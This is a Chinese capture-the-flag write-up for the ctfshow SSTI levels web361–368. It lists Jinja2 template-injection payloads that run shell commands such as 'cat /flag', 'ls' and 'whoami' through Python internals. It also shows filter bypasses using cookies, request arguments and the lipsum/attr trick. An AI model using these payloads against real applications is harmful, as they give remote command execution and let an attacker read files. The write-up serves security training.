ctfshow-web入门-SSTI(web361-web368)上

news/2024/11/18 19:39:15/

目录

web361-toc" style="margin-left:0px;">1、web361

web362-toc" style="margin-left:0px;">2、web362

web363-toc" style="margin-left:0px;">3、web363

web364-toc" style="margin-left:0px;">4、web364

web365-toc" style="margin-left:0px;">5、web365

web366-toc" style="margin-left:0px;">6、web366

web367-toc" style="margin-left:0px;">7、web367

web368-toc" style="margin-left:0px;">8、web368


web361">1、web361

测试一下存在 SSTI 注入

方法很多

(1)使用子类可以直接调用的函数来打

payload1:

?name={{''.__class__.__base__.__subclasses__()[94]["get_data"](0,"/flag")}}

payload2: 

?name={{''.__class__.__base__.__subclasses__()[407]('cat /flag',shell=True,stdout=-1).communicate()[0].strip()}}

(2)使用重载函数

payload3:

?name={{''.__class__.__base__.__subclasses__()[290].__init__.__globals__['os'].popen('cat /flag').read()}}

payload4: 

?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

payload5: 

?name={{''.__class__.__base__.__subclasses__()[292].__init__.__globals__['linecache']['os'].popen('ls /').read()}}}}

(3)使用内嵌函数

payload6:

?name={{''.__class__.__base__.__subclasses__()[446].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

对于这种没有过滤的,还有其他很多很多方法,这里就不列举了。

web362" style="background-color:transparent;">2、web362

开始过滤 

模糊测试看一下,过滤了 2 和 3 

随便拿个 payload 打吧:

?name={{''.__class__.__base__.__subclasses__()[94]["get_data"](0,"/flag")}}

web363" style="background-color:transparent;">3、web363

过滤了单双引号

方法也很多,这里采用 get 传参绕过: 

?name={{().__class__.__base__.__subclasses__()[94][request.args.m1](0,request.args.m2)}}&m1=get_data&m2=/flag

web364">4、web364

过滤了 args

并且 post 传参不允许

那就传给 cookie 吧

?name={{().__class__.__base__.__subclasses__()[94][request.cookies.m1](0,request.cookies.m2)}}
cookie传入:m1=get_data;m2=/flag

web365" style="background-color:transparent;">5、web365

新增过滤中括号

原本是在上面的 payload 上改,但是要连续用两次 [],有点问题,我们换个 payload: 

?name={{().__class__.__base__.__subclasses__().pop(290).__init__.__globals__.pop(request.cookies.m1).popen(request.cookies.m2).read()}}cookie:m1=os;m2=cat /flag

这个 payload 是一次性的,因为 pop 会删除里面的键,导致环境崩溃

更保险的是使用 __getitem__ ,方法同上

web366" style="background-color:transparent;">6、web366

新增过滤了下划线

前面的 payload 太长了,构造起来比较麻烦和乱

换个短点的 payload 结合过滤器绕过:

?name={{(lipsum|attr(request.cookies.m1)).os.popen(request.cookies.m2).read()}}
cookie:m1=__globals__;m2=cat /flag

web367" style="background-color:transparent;">7、web367

新增过滤 os

一起传给 cookie

?name={{(lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read()}}cookie:m1=__globals__;m2=cat /flag;m3=os

web368" style="background-color:transparent;">8、web368

双大括号中过滤了 request

但是 {% %} 中可用

payload:

?name={%print((lipsum|attr(request.cookies.m1)).get(request.cookies.m3).popen(request.cookies.m2).read())%}cookie:m1=__globals__;m2=cat /flag;m3=os


http://www.ppmy.cn/news/1548068.html

相关文章

Excel单元格中自适应填充多图

实例需求:在Excel插入图片时,由于图片尺寸各不相同,如果希望多个图片填充指定单元格,依靠用户手工调整,不仅费时费力,而且很难实现完全填充。如下图中的产品图册,有三个图片,如下图所…

nodejs入门(1):nodejs的前后端分离

一、引言 我关注nodejs还是从前几年做了的一个电力大数据展示系统开始的,当然,我肯定是很多年的计算机基础的,万变不离其宗。 现在web网站都流行所谓的前后端结构,不知不觉我也开始受到这个影响,以前都是前端直接操作…

[C/C++] 定位新表达式 placement new

在C中,表达式 new (ptr) T(); 展示了一种特殊的内存分配和对象构造方式,这被称为定位新表达式(placement new)。 通常,当我们使用 new 关键字时,它会在堆上动态分配内存,并调用相应的构造函数来…

【ES6】ES6中,如何实现桥接模式?

桥接模式是一种设计模式,它旨在将抽象部分与它的实现部分分离,使它们可以独立变化。在JavaScript(特别是使用ES6特性)中,我们可以利用类(class)、继承(extends)、模块化等…

微信小程序之轮播图

效果图 实现 <swiper class"banner" indicator-dots"true" indicator-color"rgba(255,255,255,1)" indicator-active-color"#ff0000" autoplay"true" interval"100" circular"true"><swi…

[AI] 从“进取号”到现代 NLP:机器语言理解的挑战与未来

在《星际迷航》系列中,“进取号”上的计算机以其即时、准确的回应成为人机交互的“北极星”,被视为完美智能助手的理想形象。这种理想不仅吸引了科幻迷,也激励了人工智能研究者。机器能否像“进取号”的计算机一样理解并回应复杂问题,仍是人工智能(AI)和自然语言处理(NL…

python核心语法

目录 核⼼语法第⼀节 变量0.变量名规则1.下⾯这些都是不合法的变量名2.关键字3.变量赋值4.变量的销毁 第⼆节 数据类型0.数值1.字符串2.布尔值(boolean, bool)3.空值 None 核⼼语法 第⼀节 变量 变量的定义变量就是可变的量&#xff0c;对于⼀些有可能会经常变化的数据&#…

用 Python 从零开始创建神经网络(五):损失函数(Loss Functions)计算网络误差

用损失函数&#xff08;Loss Functions&#xff09;计算网络误差 引言1. 分类交叉熵损失&#xff08;Categorical Cross-Entropy Loss&#xff09;2. 分类交叉熵损失类&#xff08;The Categorical Cross-Entropy Loss Class&#xff09;展示到目前为止的所有代码3. 准确率计算…